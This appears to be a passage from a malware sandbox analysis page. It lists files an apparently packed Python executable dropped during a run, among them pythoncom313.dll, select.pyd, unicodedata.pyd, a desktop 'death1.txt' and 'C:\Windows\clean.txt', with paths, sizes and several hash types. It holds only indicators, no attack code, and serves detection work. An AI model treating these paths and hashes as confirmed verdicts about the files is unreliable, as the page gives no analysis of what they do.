T1F8368B6AA7A80148E4BAC13CC9534617D2B1F85A57B097CF18A1967D0F37FDA2B3E740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pythoncom313.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_4656_134285725603940129\pythoncom313.dll
Size 665KB
SHA256 b06df90adb0d907aded57cc5fb98bdacb5e00dd018ca74e3e265c32a1af46d18
MD5 0ea0019558ccd486700d892035c087b8
SHA1 22a940d9c5106eaa7bc4ba346df64223cd05fa1f
SHA512 5769385544880e0087a078971d522eb5a703bad4aeab51656cee645ed302b14659628c206c123d0b76bb78cf09705cb1a297a27e2dcdc5b06e6bb36fb1f14feb
SSDEEP 12288:zp+yinyT8OrLffRYIOrG2CEKp3pKldzpYH2VqAh/ImLIHtkDQlioqpd3k:zp+yiyg0jpBOrG2CEKp3pKldzpYH2Vq3
TLSH
T108E4384AB3E60691F636A1BE8D039A17D2E2B4511792E7CB01A0C36E1F673D5373E760
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4656_134285725603940129\select.pyd
Size 31KB
SHA256 6393121130a3e85d0f6562948024d8614c4c144b84ab102af711c638344d1599
MD5 715a098175d3ca1c1da2dc5756b31860
SHA1 6b3ec06d679c48bfe4391535a822b58a02d79026
SHA512 e92edb98427f594badec592493469d45deab3b71e4598d544d0b9a1acffd5327a19c09029fb79d70971cb0ed0dba56056bef8455534d3f16ec35eac723062f3c
SSDEEP 768:kCOBHfjKe5Ig9GWOytxJEKrLy2Ip4gj6Cxf1mlY6Csr:kCOB/jKe5Ig9GJytH/9+fIii
TLSH
T1BCE27D8BAB745047FA63C671C6A6CE03F939B7A3971142CF30A5D1891E137C1A73A365
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unicodedata.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4656_134285725603940129\unicodedata.pyd
Size 695KB
SHA256 071494856fdad0042964769aa2fb1de4ea95c2cfcbe27cc7132293c68d13d710
MD5 503b3ffa6a5bf45ab34d6d74352f206b
SHA1 cc13b85281e5d52413784e0b65a61b1d037c60cc
SHA512 d20b860974161caa60a62268968af353ad8063589f57d71f57c91855eb83da78f40bae7aa745cc7a945d92ebe08cf244c9560ae93449de45b20a8b8fff9f5010
SSDEEP 12288:9YLdLI/X77mvfldCKGihH32W3cnPSqrUguJS:9YLW7qNxr3cnPXuJS
TLSH
T1FDE4F6D5BBCF8D26E69B363948E3710F5171C3735F0A863AB2182361D85B3B449D582E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

death1.txt

Path C:\Users\Admin\Desktop\death1.txt
Size 32B
SHA256 27e8a8945d09672a87deb4103220a0ef3c0edcac59282a1c0248f96cdfa1aed0
MD5 00a7c18745185f7ba66c6212835e52e2
SHA1 fa95601a7b5f66809fc1bf7c3423049d20cff024
SHA512 d3570fcf73475a8f4ddcb1e6d644ce6a1e7802b6438c336bac07d66fe9c2009c6854b4e95d5d3d38fd0c6be51363f2fda3436ae6e37c60fd76425a23b53bc872
MD5 SHA1 SHA512

Submit Download

clean.txt

Path C:\Windows\clean.txt
Size 28B
SHA256 7c94e8b90b0c9863a8376f185b3f4bf582f57342e32d84b69a8eaa663100c341
MD5 4f6efea1bd6c3373df6841ad17382717
SHA1 b8dd22638f050faf591cb4d84589a930be5d72a7
SHA512 244c337b5ed4c606070a99228a497dc24fc0eeb48cd98f49bed308f13dbf8da71eebd57a0ac9d425c00b680025059dc6ba98969fffba45b0b38c19e16dac4e42
MD5 SHA1 SHA512

Submit Download